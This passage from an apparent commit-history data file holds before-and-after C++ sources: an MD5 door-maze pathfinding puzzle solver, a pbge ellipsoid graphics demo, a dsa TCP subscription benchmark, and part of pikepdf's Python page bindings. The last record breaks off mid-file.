Path)\n{\n\tOpenList.insert({ GetHeuristic(Position, Destination, Path), { Position, Path } });\n}\n\nstd::string GetPath(const Coordinate & Start, const Coordinate & Destination, const std::string & Prefix)\n{\n\tstd::multimap<size_t, Position> OpenList = { { GetDistance(Start, Destination), { Start, \"\" } } };\n\n\twhile (!OpenList.empty())\n\t{\n\t\tPosition Node = OpenList.begin()->second;\n\t\tOpenList.erase(OpenList.begin());\n\n\t\tif (Node.first == Destination)\n\t\t{\n\t\t\treturn Node.second;\n\t\t}\n\n\t\tbool Up, Down, Left, Right;\n\t\tGetDoorStatus(Prefix + Node.second, Up, Down, Left, Right);\n\n\t\tif (Up && (Node.first.second > 0))\n\t\t{\n\t\t\tAddToList(OpenList, { Node.first.first, Node.first.second - 1 }, Destination, Node.second + \"U\");\n\t\t}\n\n\t\tif (Down && (Node.first.second < GridSize - 1))\n\t\t{\n\t\t\tAddToList(OpenList, { Node.first.first, Node.first.second + 1 }, Destination, Node.second + \"D\");\n\t\t}\n\n\t\tif (Left && (Node.first.first > 0))\n\t\t{\n\t\t\tAddToList(OpenList, { Node.first.first - 1, Node.first.second }, Destination, Node.second + \"L\");\n\t\t}\n\n\t\tif (Right && (Node.first.first < GridSize - 1))\n\t\t{\n\t\t\tAddToList(OpenList, { Node.first.first + 1, Node.first.second }, Destination, Node.second + \"R\");\n\t\t}\n\t}\n\n\treturn std::string();\n}\n\nvoid GetDoorStatus(const std::string & Hash, bool & Up, bool & Down, bool & Left, bool & Right)\n{\n\tMD5 Hasher;\n\tMD5::Hash Result = Hasher.Compute(ByteVector(Hash.begin(), Hash.end()));\n\n\tUp = ((Result[0] & 0xF0) > 0xA0) ? true : false;\n\tDown = ((Result[0] & 0x0F) > 0x0A) ? true : false;\n\n\tLeft = ((Result[1] & 0xF0) > 0xA0) ? true : false;\n\tRight = ((Result[1] & 0x0F) > 0x0A) ? true : false;\n}<commit_msg>Day 17 part two<commit_after>\/\/ Day17.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n\ntypedef std::pair<size_t, size_t> Coordinate;\ntypedef std::pair<Coordinate, std::string> Position;\n\nconstexpr size_t GridSize = 4;\n\nstd::string GetPath(const Coordinate & Start, const Coordinate & Destination, const std::string & Prefix, bool Longest);\nvoid GetDoorStatus(const std::string & Hash, bool & Up, bool & Down, bool & Left, bool & Right);\n\nint main()\n{\n\tconst std::string Input = \"rrrbmfta\";\n\n\tstd::cout << \"Part One: \" << GetPath(Coordinate(0, 0), Coordinate(3, 3), Input, false) << std::endl;\n\tstd::cout << \"Part Two: \" << GetPath(Coordinate(0, 0), Coordinate(3, 3), Input, true).size() << std::endl;\n\n\tsystem(\"pause\");\n\n    return 0;\n}\n\nsize_t GetDistance(const Coordinate & Position, const Coordinate & Destination)\n{\n\tint64_t dX = Destination.first - Position.first;\n\tint64_t dY = Destination.second - Position.second;\n\n\treturn std::abs(dX) + std::abs(dY);\n}\n\nsize_t GetHeuristic(const Coordinate & Position, const Coordinate & Destination, const std::string & Path)\n{\n\treturn GetDistance(Position, Destination) + Path.size();\n}\n\nvoid AddToList(std::multimap<size_t, Position> & OpenList, const Coordinate & Position, const Coordinate & Destination, const std::string & Path)\n{\n\tOpenList.insert({ GetHeuristic(Position, Destination, Path), { Position, Path } });\n}\n\nstd::string GetPath(const Coordinate & Start, const Coordinate & Destination, const std::string & Prefix, bool Longest)\n{\n\tstd::multimap<size_t, Position> OpenList = { { GetDistance(Start, Destination), { Start, \"\" } } };\n\n\tstd::string LongPath;\n\n\twhile (!OpenList.empty())\n\t{\n\t\tPosition Node = OpenList.begin()->second;\n\t\tOpenList.erase(OpenList.begin());\n\n\t\tif (Node.first == Destination)\n\t\t{\n\t\t\tif (!Longest)\n\t\t\t{\n\t\t\t\treturn Node.second;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (LongPath.size() < Node.second.size())\n\t\t\t\t{\n\t\t\t\t\tLongPath = Node.second;\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\tbool Up, Down, Left, Right;\n\t\tGetDoorStatus(Prefix + Node.second, Up, Down, Left, Right);\n\n\t\tif (Up && (Node.first.second > 0))\n\t\t{\n\t\t\tAddToList(OpenList, { Node.first.first, Node.first.second - 1 }, Destination, Node.second + \"U\");\n\t\t}\n\n\t\tif (Down && (Node.first.second < GridSize - 1))\n\t\t{\n\t\t\tAddToList(OpenList, { Node.first.first, Node.first.second + 1 }, Destination, Node.second + \"D\");\n\t\t}\n\n\t\tif (Left && (Node.first.first > 0))\n\t\t{\n\t\t\tAddToList(OpenList, { Node.first.first - 1, Node.first.second }, Destination, Node.second + \"L\");\n\t\t}\n\n\t\tif (Right && (Node.first.first < GridSize - 1))\n\t\t{\n\t\t\tAddToList(OpenList, { Node.first.first + 1, Node.first.second }, Destination, Node.second + \"R\");\n\t\t}\n\t}\n\n\treturn LongPath;\n}\n\nvoid GetDoorStatus(const std::string & Hash, bool & Up, bool & Down, bool & Left, bool & Right)\n{\n\tMD5 Hasher;\n\tMD5::Hash Result = Hasher.Compute(ByteVector(Hash.begin(), Hash.end()));\n\n\tUp = ((Result[0] & 0xF0) > 0xA0) ? true : false;\n\tDown = ((Result[0] & 0x0F) > 0x0A) ? true : false;\n\n\tLeft = ((Result[1] & 0xF0) > 0xA0) ? true : false;\n\tRight = ((Result[1] & 0x0F) > 0x0A) ? true : false;\n}<|endoftext|>"}
{"text":"<commit_before>#include \"math3d\/math3d.h\"\n#include \"pbge\/pbge.h\"\n\nclass MySceneInitializer : public pbge::SceneInitializer {\npublic:\n    pbge::SceneGraph * operator () (pbge::GraphicAPI * gfx, pbge::Window * window) {\n        pbge::Renderer * renderer = window->getRenderer();\n        renderer->addSceneProcessor(new pbge::RenderPassProcessor);\n        renderer->addPostProcessor(new pbge::BlitToFramebuffer);\n        pbge::Node * root = new pbge::TransformationNode;\n        pbge::SceneGraph * graph = new pbge::SceneGraph(root);\n        \n        configureCamera(root, gfx);\n        createModel(root, gfx);\n\n        return graph;\n    }\n\nprivate:\n    void configureCamera(pbge::Node * parent, pbge::GraphicAPI * gfx) {\n        pbge::TransformationNode * cameraParent = \n            pbge::TransformationNode::translation(0, 0, 10);\n        pbge::CameraNode * camera = new pbge::CameraNode;\n        camera->lookAt(math3d::vector4(0,1,0), math3d::vector4(0, 0, -1));\n        camera->setPerspective(90, 1.0f, 2.0f, 30.0f);\n        cameraParent->addChild(camera);\n        parent->addChild(cameraParent);\n    }\n    void createModel(pbge::Node * parent, pbge::GraphicAPI * gfx) {\n        pbge::VBOModel * sphere = pbge::Geometrics::createSphere(2,100,gfx);\n        pbge::ModelInstance * model = new pbge::ModelInstance(sphere);\n        pbge::GPUProgram * shader = gfx->getFactory()->createProgramFromString(\n            \"#version 150\\n\"\n            \"in vec4 pbge_Vertex;\\n\"\n            \"out vec4 color\\n;\"\n            \"uniform mat4 pbge_ModelViewProjectionMatrix;\\n\"\n            \"void main() {\\n\"\n            \"   mat4 scale = mat4(1,0,0,0,\\n\"\n            \"                     0,2,0,0,\\n\"\n            \"                     0,0,1,0,\\n\"\n            \"                     0,0,0,1);\\n\"\n            \"   gl_Position = pbge_ModelViewProjectionMatrix*scale*pbge_Vertex;\\n\"\n            \"   color = vec4(pbge_Vertex.xyz, 1);\\n\"\n            \"}\",\n            \"in vec4 color;\\n\"\n            \"void main() {\\n\"\n            \"   gl_FragColor = color;\\n\"\n            \"}\"\n            );\n        model->setRenderPassProgram(shader);\n        parent->addChild(model);\n    }\n};\n\nint main() {\n    pbge::Manager manager;\n    MySceneInitializer sceneInitializer;\n    manager.setWindowTitle(\"Ellipsoid demo\");\n    manager.setWindowDimensions(1024, 768);\n    manager.setSceneInitializer(&sceneInitializer);\n    manager.displayGraphics();\n    return 0;\n}<commit_msg>Unused includes<commit_after>#include \"pbge\/pbge.h\"\n\nclass MySceneInitializer : public pbge::SceneInitializer {\npublic:\n    pbge::SceneGraph * operator () (pbge::GraphicAPI * gfx, pbge::Window * window) {\n        pbge::Renderer * renderer = window->getRenderer();\n        renderer->addSceneProcessor(new pbge::RenderPassProcessor);\n        renderer->addPostProcessor(new pbge::BlitToFramebuffer);\n        pbge::Node * root = new pbge::TransformationNode;\n        pbge::SceneGraph * graph = new pbge::SceneGraph(root);\n        \n        configureCamera(root, gfx);\n        createModel(root, gfx);\n\n        return graph;\n    }\n\nprivate:\n    void configureCamera(pbge::Node * parent, pbge::GraphicAPI * gfx) {\n        pbge::TransformationNode * cameraParent = \n            pbge::TransformationNode::translation(0, 0, 10);\n        pbge::CameraNode * camera = new pbge::CameraNode;\n        camera->lookAt(math3d::vector4(0,1,0), math3d::vector4(0, 0, -1));\n        camera->setPerspective(90, 1.0f, 2.0f, 30.0f);\n        cameraParent->addChild(camera);\n        parent->addChild(cameraParent);\n    }\n    void createModel(pbge::Node * parent, pbge::GraphicAPI * gfx) {\n        pbge::VBOModel * sphere = pbge::Geometrics::createSphere(2,100,gfx);\n        pbge::ModelInstance * model = new pbge::ModelInstance(sphere);\n        pbge::GPUProgram * shader = gfx->getFactory()->createProgramFromString(\n            \"#version 150\\n\"\n            \"in vec4 pbge_Vertex;\\n\"\n            \"out vec4 color\\n;\"\n            \"uniform mat4 pbge_ModelViewProjectionMatrix;\\n\"\n            \"void main() {\\n\"\n            \"   mat4 scale = mat4(1,0,0,0,\\n\"\n            \"                     0,2,0,0,\\n\"\n            \"                     0,0,1,0,\\n\"\n            \"                     0,0,0,1);\\n\"\n            \"   gl_Position = pbge_ModelViewProjectionMatrix*scale*pbge_Vertex;\\n\"\n            \"   color = vec4(pbge_Vertex.xyz, 1);\\n\"\n            \"}\",\n            \"in vec4 color;\\n\"\n            \"void main() {\\n\"\n            \"   gl_FragColor = color;\\n\"\n            \"}\"\n            );\n        model->setRenderPassProgram(shader);\n        parent->addChild(model);\n    }\n};\n\nint main() {\n    pbge::Manager manager;\n    MySceneInitializer sceneInitializer;\n    manager.setWindowTitle(\"Ellipsoid demo\");\n    manager.setWindowDimensions(1024, 768);\n    manager.setSceneInitializer(&sceneInitializer);\n    manager.displayGraphics();\n    return 0;\n}<|endoftext|>"}
{"text":"<commit_before>#include \"dsa\/message.h\"\n#include \"dsa\/network.h\"\n\n#include \"..\/test\/sdk\/async_test.h\"\n#include \"..\/test\/sdk\/test_config.h\"\n\n#include \"network\/tcp\/tcp_client.h\"\n#include \"network\/tcp\/tcp_server.h\"\n\n#include <chrono>\n#include <ctime>\n\n#define WAIT(wait_time, callback) wait_for_bool((wait_time), (callback))\n#define ASYNC(wait_time, strand, callback) \\\n  wait_for_bool((wait_time), (strand), (callback))\n\nusing namespace dsa;\n\nconst int SLEEP_INTERVAL = 25;\nusing high_resolution_clock = std::chrono::high_resolution_clock;\nusing time_point = std::chrono::high_resolution_clock::time_point;\n\nclass MockNode : public NodeModel {\n public:\n  std::unique_ptr<SubscribeOptions> first_subscribe_options;\n  std::unique_ptr<SubscribeOptions> second_subscribe_options;\n\n  explicit MockNode(LinkStrandRef strand) : NodeModel(std::move(strand)){};\n\n  void on_subscribe(const SubscribeOptions &options) override {\n    first_subscribe_options.reset(new SubscribeOptions(options));\n    if (_subscribe_callback != nullptr) {\n      set_value(Variant(\"hello\"));\n    }\n  }\n};\n\nint main() {\n  App app;\n\n  TestConfig server_config(app);\n\n  MockNode *root_node = new MockNode(server_config.strand);\n\n  server_config.get_link_config()->set_stream_acceptor(\n      make_unique_<NodeStateManager>(ref_<MockNode>(root_node)));\n\n  WrapperConfig client_config = server_config.get_client_config(app);\n\n  app.async_start(2);\n\n  \/\/  auto tcp_server(new TcpServer(server_config));\n  auto tcp_server = make_shared_<TcpServer>(server_config);\n  tcp_server->start();\n\n  auto tcp_client = make_shared_<TcpClient>(client_config);\n  tcp_client->connect();\n\n  ASYNC(500, (*client_config.strand)(),\n        [&]() { return tcp_client->get_session().is_connected(); });\n\n  SubscribeOptions initial_options;\n  initial_options.queue_time = 0x1234;\n  initial_options.queue_size = 0x5678;\n\n  ref_<const SubscribeResponseMessage> last_response;\n\n  const uint16_t MAX_NUM_MSGS = 0xffff;\n  uint16_t idx = 0;\n  time_point start_time_point, end_time_point;\n\n  start_time_point = high_resolution_clock::now();\n  while (idx < MAX_NUM_MSGS) {\n    auto subscribe_stream = tcp_client->get_session().requester.subscribe(\n        \"\",\n        [&](ref_<const SubscribeResponseMessage> &&msg,\n            IncomingSubscribeStream &stream) {\n          if (idx == (MAX_NUM_MSGS - 1)) {\n            last_response = std::move(msg);\n          }\n        },\n        initial_options);\n\n    \/\/ move out of the loop?\n    if (idx == (MAX_NUM_MSGS - 1)) {\n      int waited = 0;\n      while (waited < MAX_NUM_MSGS * 100) {\n        if (last_response != nullptr) {\n          end_time_point = high_resolution_clock::now();\n          break;\n        }\n\n        boost::this_thread::sleep(\n            boost::posix_time::milliseconds(SLEEP_INTERVAL));\n        waited += SLEEP_INTERVAL;\n      }\n    }\n\n    idx++;\n  }\n\n  std::cout << std::chrono::system_clock::to_time_t(start_time_point) << \", \"\n            << std::chrono::system_clock::to_time_t(end_time_point) << std::endl\n            << std::chrono::duration_cast<std::chrono::milliseconds>(\n                   end_time_point - start_time_point)\n                   .count()\n            << std::endl;\n\n  Server::close_in_strand(tcp_server);\n  Client::close_in_strand(tcp_client);\n\n  app.close();\n\n  WAIT(500, [&]() { return app.is_stopped(); });\n\n  if (!app.is_stopped()) {\n    app.force_stop();\n  }\n\n  app.wait();\n}\n<commit_msg>fix compilation issuw on Windows platform<commit_after>#include \"dsa\/message.h\"\n#include \"dsa\/network.h\"\n\n#include \"..\/test\/sdk\/async_test.h\"\n#include \"..\/test\/sdk\/test_config.h\"\n\n#include \"network\/tcp\/tcp_client.h\"\n#include \"network\/tcp\/tcp_server.h\"\n\n#include <chrono>\n#include <ctime>\n\n#define WAIT(wait_time, callback) wait_for_bool((wait_time), (callback))\n#define ASYNC(wait_time, strand, callback) \\\n  wait_for_bool((wait_time), (strand), (callback))\n\nusing namespace dsa;\n\nconst int SLEEP_INTERVAL = 25;\nusing high_resolution_clock = std::chrono::high_resolution_clock;\nusing time_point = std::chrono::high_resolution_clock::time_point;\n\nclass MockNode : public NodeModel {\n public:\n  std::unique_ptr<SubscribeOptions> first_subscribe_options;\n  std::unique_ptr<SubscribeOptions> second_subscribe_options;\n\n  explicit MockNode(LinkStrandRef strand) : NodeModel(std::move(strand)){};\n\n  void on_subscribe(const SubscribeOptions &options) override {\n    first_subscribe_options.reset(new SubscribeOptions(options));\n    if (_subscribe_callback != nullptr) {\n      set_value(Variant(\"hello\"));\n    }\n  }\n};\n\nint main() {\n  App app;\n\n  TestConfig server_config(app);\n\n  MockNode *root_node = new MockNode(server_config.strand);\n\n  server_config.get_link_config()->set_stream_acceptor(\n      make_unique_<NodeStateManager>(ref_<MockNode>(root_node)));\n\n  WrapperConfig client_config = server_config.get_client_config(app);\n\n  app.async_start(2);\n\n  \/\/  auto tcp_server(new TcpServer(server_config));\n  auto tcp_server = make_shared_<TcpServer>(server_config);\n  tcp_server->start();\n\n  auto tcp_client = make_shared_<TcpClient>(client_config);\n  tcp_client->connect();\n\n  ASYNC(500, (*client_config.strand)(),\n        [&]() { return tcp_client->get_session().is_connected(); });\n\n  SubscribeOptions initial_options;\n  initial_options.queue_time = 0x1234;\n  initial_options.queue_size = 0x5678;\n\n  ref_<const SubscribeResponseMessage> last_response;\n\n  const uint16_t MAX_NUM_MSGS = 0xffff;\n  uint16_t idx = 0;\n  time_point start_time_point, end_time_point;\n\n  start_time_point = high_resolution_clock::now();\n  while (idx < MAX_NUM_MSGS) {\n    auto subscribe_stream = tcp_client->get_session().requester.subscribe(\n        \"\",\n        [&](ref_<const SubscribeResponseMessage> &&msg,\n            IncomingSubscribeStream &stream) {\n          if (idx == (MAX_NUM_MSGS - 1)) {\n            last_response = std::move(msg);\n          }\n        },\n        initial_options);\n\n    \/\/ move out of the loop?\n    if (idx == (MAX_NUM_MSGS - 1)) {\n      int waited = 0;\n      while (waited < MAX_NUM_MSGS * 100) {\n        if (last_response != nullptr) {\n          end_time_point = high_resolution_clock::now();\n          break;\n        }\n\n        boost::this_thread::sleep(\n            boost::posix_time::milliseconds(SLEEP_INTERVAL));\n        waited += SLEEP_INTERVAL;\n      }\n    }\n\n    idx++;\n  }\n\n  std::cout << std::chrono::duration_cast<std::chrono::milliseconds>(\n                    end_time_point - start_time_point)\n                   .count()\n            << std::endl;\n\n  Server::close_in_strand(tcp_server);\n  Client::close_in_strand(tcp_client);\n\n  app.close();\n\n  WAIT(500, [&]() { return app.is_stopped(); });\n\n  if (!app.is_stopped()) {\n    app.force_stop();\n  }\n\n  app.wait();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * Copyright (C) 2017, James R. Barlow (https:\/\/github.com\/jbarlow83\/)\n *\/\n\n#include <sstream>\n#include <iostream>\n#include <iomanip>\n#include <cctype>\n\n#include \"pikepdf.h\"\n#include \"parsers.h\"\n\n#include <qpdf\/QPDFPageObjectHelper.hh>\n#include <qpdf\/QPDFPageLabelDocumentHelper.hh>\n#include <qpdf\/Pipeline.hh>\n#include <qpdf\/Pl_Buffer.hh>\n\npy::size_t page_index(QPDF &owner, QPDFObjectHandle page)\n{\n    if (&owner != page.getOwningQPDF())\n        throw py::value_error(\"Page is not in this Pdf\");\n\n    int idx;\n    try {\n        idx = owner.findPage(page);\n    } catch (const QPDFExc &e) {\n        if (std::string(e.what()).find(\"page object not referenced\") >= 0)\n            throw py::value_error(\"Page is not consistently registered with Pdf\");\n        throw e;\n    }\n    if (idx < 0) {\n        \/\/ LCOV_EXCL_START\n        throw std::logic_error(\"Page index is negative\");\n        \/\/ LCOV_EXCL_STOP\n    }\n\n    return idx;\n}\n\nstd::string label_string_from_dict(QPDFObjectHandle label_dict)\n{\n    auto impl =\n        py::module_::import(\"pikepdf._cpphelpers\").attr(\"label_from_label_dict\");\n    py::str result = impl(label_dict);\n    return result;\n}\n\nvoid init_page(py::module_ &m)\n{\n    py::class_<QPDFPageObjectHelper,\n        std::shared_ptr<QPDFPageObjectHelper>,\n        QPDFObjectHelper>(m, \"Page\")\n        .def(py::init<QPDFObjectHandle &>())\n        .def(py::init([](QPDFPageObjectHelper &poh) {\n            return QPDFPageObjectHelper(poh.getObjectHandle());\n        }))\n        .def(\n            \"__copy__\", [](QPDFPageObjectHelper &poh) { return poh.shallowCopyPage(); })\n        .def_property_readonly(\"_images\", &QPDFPageObjectHelper::getImages)\n        .def(\"_get_mediabox\", &QPDFPageObjectHelper::getMediaBox)\n        .def(\"_get_cropbox\", &QPDFPageObjectHelper::getCropBox)\n        .def(\"_get_trimbox\", &QPDFPageObjectHelper::getTrimBox)\n        .def(\n            \"externalize_inline_images\",\n            [](QPDFPageObjectHelper &poh, size_t min_size = 0, bool shallow = false) {\n                return poh.externalizeInlineImages(min_size, shallow);\n            },\n            py::arg(\"min_size\") = 0,\n            py::arg(\"shallow\")  = false,\n            R\"~~~(\n                Convert inlines image to normal (external) images.\n\n                Args:\n                    min_size (int): minimum size in bytes\n                    shallow (bool): If False, recurse into nested Form XObjects.\n                        If True, do not recurse.\n            )~~~\")\n        .def(\"rotate\",\n            &QPDFPageObjectHelper::rotatePage,\n            py::arg(\"angle\"),\n            py::arg(\"relative\"),\n            R\"~~~(\n                Rotate a page.\n\n                If ``relative`` is ``False``, set the rotation of the\n                page to angle. Otherwise, add angle to the rotation of the\n                page. ``angle`` must be a multiple of ``90``. Adding ``90`` to\n                the rotation rotates clockwise by ``90`` degrees.\n            )~~~\")\n        .def(\"contents_coalesce\",\n            &QPDFPageObjectHelper::coalesceContentStreams,\n            R\"~~~(\n                Coalesce a page's content streams.\n\n                A page's content may be a\n                stream or an array of streams. If this page's content is an\n                array, concatenate the streams into a single stream. This can\n                be useful when working with files that split content streams in\n                arbitrary spots, such as in the middle of a token, as that can\n                confuse some software.\n            )~~~\")\n        .def(\n            \"_contents_add\",\n            [](QPDFPageObjectHelper &poh, QPDFObjectHandle &contents, bool prepend) {\n                return poh.addPageContents(contents, prepend);\n            },\n            py::arg(\"contents\"),\n            py::kw_only(),\n            py::arg(\"prepend\") = false)\n        .def(\n            \"_contents_add\",\n            [](QPDFPageObjectHelper &poh, py::bytes contents, bool prepend) {\n                auto q = poh.getObjectHandle().getOwningQPDF();\n                if (!q) {\n                    \/\/ LCOV_EXCL_START\n                    throw std::logic_error(\"QPDFPageObjectHelper not attached to QPDF\");\n                    \/\/ LCOV_EXCL_STOP\n                }\n                auto stream = QPDFObjectHandle::newStream(q, contents);\n                return poh.addPageContents(stream, prepend);\n            },\n            py::arg(\"contents\"),\n            py::kw_only(),\n            py::arg(\"prepend\") = false)\n        .def(\"remove_unreferenced_resources\",\n            &QPDFPageObjectHelper::removeUnreferencedResources,\n            R\"~~~(\n                Removes from the resources dictionary any object not referenced in the content stream.\n\n                A page's resources dictionary maps names to objects elsewhere\n                in the file. This method walks through a page's contents and\n                keeps tracks of which resources are referenced somewhere in the\n                contents. Then it removes from the resources dictionary any\n                object that is not referenced in the contents. This\n                method is used by page splitting code to avoid copying unused\n                objects in files that used shared resource dictionaries across\n                multiple pages.\n            )~~~\")\n        .def(\"as_form_xobject\",\n            &QPDFPageObjectHelper::getFormXObjectForPage,\n            py::arg(\"handle_transformations\") = true,\n            R\"~~~(\n                Return a form XObject that draws this page.\n\n                This is useful for\n                n-up operations, underlay, overlay, thumbnail generation, or\n                any other case in which it is useful to replicate the contents\n                of a page in some other context. The dictionaries are shallow\n                copies of the original page dictionary, and the contents are\n                coalesced from the page's contents. The resulting object handle\n                is not referenced anywhere.\n\n                Args:\n                    handle_transformations (bool): If True, the resulting form\n                        XObject's ``\/Matrix`` will be set to replicate rotation\n                        (``\/Rotate``) and scaling (``\/UserUnit``) in the page's\n                        dictionary. In this way, the page's transformations will\n                        be preserved when placing this object on another page.\n            )~~~\")\n        .def(\n            \"calc_form_xobject_placement\",\n            [](QPDFPageObjectHelper &poh,\n                QPDFObjectHandle formx,\n                QPDFObjectHandle name,\n                QPDFObjectHandle::Rectangle rect,\n                bool invert_transformations,\n                bool allow_shrink,\n                bool allow_expand) -> py::bytes {\n                return py::bytes(poh.placeFormXObject(formx,\n                    name.getName(),\n                    rect,\n                    invert_transformations,\n                    allow_shrink,\n                    allow_expand));\n            },\n            py::arg(\"formx\"),\n            py::arg(\"name\"),\n            py::arg(\"rect\"),\n            py::kw_only(),\n            py::arg(\"invert_transformations\") = true,\n            py::arg(\"allow_shrink\")           = true,\n            py::arg(\"allow_expand\")           = false,\n            R\"~~~(\n                Generate content stream segment to place a Form XObject on this page.\n\n                The content stream segment must be then be added to the page's\n                content stream.\n\n                The default keyword parameters will preserve the aspect ratio.\n\n                Args:\n                    formx: The Form XObject to place.\n                    name: The name of the Form XObject in this page's \/Resources\n                        dictionary.\n                    rect: Rectangle describing the desired placement of the Form\n                        XObject.\n                    invert_transformations: Apply \/Rotate and \/UserUnit scaling\n                        when determining FormX Object placement.\n                    allow_shrink: Allow the Form XObject to take less than the\n                        full dimensions of rect.\n                    allow_expand: Expand the Form XObject to occupy all of rect.\n\n                .. versionadded:: 2.14\n            )~~~\")\n        .def(\n            \"get_filtered_contents\",\n            [](QPDFPageObjectHelper &poh,\n                QPDFObjectHandle::TokenFilter &tf) -> py::bytes {\n                Pl_Buffer pl_buffer(\"filter_page\");\n                poh.filterContents(&tf, &pl_buffer);\n\n                PointerHolder<Buffer> buf(pl_buffer.getBuffer());\n                auto data = reinterpret_cast<const char *>(buf->getBuffer());\n                auto size = buf->getSize();\n                return py::bytes(data, size);\n            },\n            py::arg(\"tf\"),\n            R\"~~~(\n                Apply a :class:`pikepdf.TokenFilter` to a content stream, without modifying it.\n\n                This may be used when the results of a token filter do not need\n                to be applied, such as when filtering is being used to retrieve\n                information rather than edit the content stream.\n\n                Note that it is possible to create a subclassed ``TokenFilter``\n                that saves information of interest to its object attributes; it\n                is not necessary to return data in the content stream.\n\n                To modify the content stream, use :meth:`pikepdf.Page.add_content_token_filter`.\n\n                Returns:\n                    The modified content stream.\n            )~~~\")\n        .def(\n            \"add_content_token_filter\",\n            [](QPDFPageObjectHelper &poh,\n                PointerHolder<QPDFObjectHandle::TokenFilter> tf) {\n                \/\/ TokenFilters may be processed after the Python objects have gone\n                \/\/ out of scope, so we need to keep them alive by attaching them to\n                \/\/ the corresponding QPDF object.\n                auto pyqpdf = py::cast(poh.getObjectHandle().getOwningQPDF());\n                auto pytf   = py::cast(tf);\n                py::detail::keep_alive_impl(pyqpdf, pytf);\n\n                poh.addContentTokenFilter(tf);\n            },\n            py::keep_alive<1, 2>(),\n            py::arg(\"tf\"),\n            R\"~~~(\n                Attach a :class:`pikepdf.TokenFilter` to a page's content stream.\n\n                This function applies token filters lazily, if\/when the page's\n                content stream is read for any reason, such as when the PDF is\n                saved. If never access, the token filter is not applied.\n\n                Multiple token filters may be added to a page\/content stream.\n\n                Token filters may not be removed after being attached to a Pdf.\n                Close and reopen the Pdf to remove token filters.\n\n                If the page's contents is an array of streams, it is coalesced.\n            )~~~\")\n        .def(\n            \"parse_contents\",\n            [](QPDFPageObjectHelper &poh, PyParserCallbacks &parsercallbacks) {\n                poh.parseContents(&parsercallbacks);\n            },\n            R\"~~~(\n                Parse a page's content streams using a :class:`pikepdf.StreamParser`.\n\n                The content stream may be interpreted by the StreamParser but is\n                not altered.\n\n                If the page's contents is an array of streams, it is coalesced.\n            )~~~\")\n        .def_property_readonly(\n            \"index\",\n            [](QPDFPageObjectHelper &poh) {\n                auto this_page = poh.getObjectHandle();\n                auto p_owner   = this_page.getOwningQPDF();\n                if (!p_owner)\n                    throw py::value_error(\"Page is not attached to a Pdf\");\n                auto &owner = *p_owner;\n                return page_index(owner, this_page);\n            },\n            R\"~~~(\n                Returns the zero-based index of this page in the pages list.\n\n                That is, returns ``n`` such that ``pdf.pages[n] == this_page``.\n                A ``ValueError`` exception is thrown if the page is not attached\n                to this ``Pdf``.\n\n                .. versionadded:: 2.2\n            )~~~\")\n        .def_property_readonly(\n            \"label\",\n            [](QPDFPageObjectHelper &poh) {\n                auto this_page = poh.getObjectHandle();\n                auto p_owner   = this_page.getOwningQPDF();\n                if (!p_owner)\n                    throw py::value_error(\"Page is not attached to a Pdf\");\n                auto &owner = *p_owner;\n                auto index  = page_index(owner, this_page);\n\n                QPDFPageLabelDocumentHelper pldh(owner);\n                auto label_dict = pldh.getLabelForPage(index);\n                if (label_dict.isNull())\n                    return std::to_string(index + 1);\n\n                return label_string_from_dict(label_dict);\n            },\n            R\"~~~(\n                Returns the page label for this page, accounting for section numbers.\n\n                For example, if the PDF defines a preface with lower case Roman\n                numerals (i, ii, iii...), followed by standard numbers, followed\n                by an appendix (A-1, A-2, ...), this function returns the appropriate\n                label as a string.\n\n                It is possible for a PDF to define page labels such that multiple\n                pages have the same labels. Labels are not guaranteed to\n                be unique.\n\n                .. versionadded:: 2.2\n\n                .. versionchanged:: 2.9\n                    Returns the ordinary page number if no special rules for page\n                    numbers are defined.\n            )~~~\");\n}\n<commit_msg>add_content_token_filter keep_alive is also unnecessary<commit_after>\/*\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * Copyright (C) 2017, James R. Barlow (https:\/\/github.com\/jbarlow83\/)\n *\/\n\n#include <sstream>\n#include <iostream>\n#include <iomanip>\n#include <cctype>\n\n#include \"pikepdf.h\"\n#include \"parsers.h\"\n\n#include <qpdf\/QPDFPageObjectHelper.hh>\n#include <qpdf\/QPDFPageLabelDocumentHelper.hh>\n#include <qpdf\/Pipeline.hh>\n#include <qpdf\/Pl_Buffer.hh>\n\npy::size_t page_index(QPDF &owner, QPDFObjectHandle page)\n{\n    if (&owner != page.getOwningQPDF())\n        throw py::value_error(\"Page is not in this Pdf\");\n\n    int idx;\n    try {\n        idx = owner.findPage(page);\n    } catch (const QPDFExc &e) {\n        if (std::string(e.what()).find(\"page object not referenced\") >= 0)\n            throw py::value_error(\"Page is not consistently registered with Pdf\");\n        throw e;\n    }\n    if (idx < 0) {\n        \/\/ LCOV_EXCL_START\n        throw std::logic_error(\"Page index is negative\");\n        \/\/ LCOV_EXCL_STOP\n    }\n\n    return idx;\n}\n\nstd::string label_string_from_dict(QPDFObjectHandle label_dict)\n{\n    auto impl =\n        py::module_::import(\"pikepdf._cpphelpers\").attr(\"label_from_label_dict\");\n    py::str result = impl(label_dict);\n    return result;\n}\n\nvoid init_page(py::module_ &m)\n{\n    py::class_<QPDFPageObjectHelper,\n        std::shared_ptr<QPDFPageObjectHelper>,\n        QPDFObjectHelper>(m, \"Page\")\n        .def(py::init<QPDFObjectHandle &>())\n        .def(py::init([](QPDFPageObjectHelper &poh) {\n            return QPDFPageObjectHelper(poh.getObjectHandle());\n        }))\n        .def(\n            \"__copy__\", [](QPDFPageObjectHelper &poh) { return poh.shallowCopyPage(); })\n        .def_property_readonly(\"_images\", &QPDFPageObjectHelper::getImages)\n        .def(\"_get_mediabox\", &QPDFPageObjectHelper::getMediaBox)\n        .def(\"_get_cropbox\", &QPDFPageObjectHelper::getCropBox)\n        .def(\"_get_trimbox\", &QPDFPageObjectHelper::getTrimBox)\n        .def(\n            \"externalize_inline_images\",\n            [](QPDFPageObjectHelper &poh, size_t min_size = 0, bool shallow = false) {\n                return poh.externalizeInlineImages(min_size, shallow);\n            },\n            py::arg(\"min_size\") = 0,\n            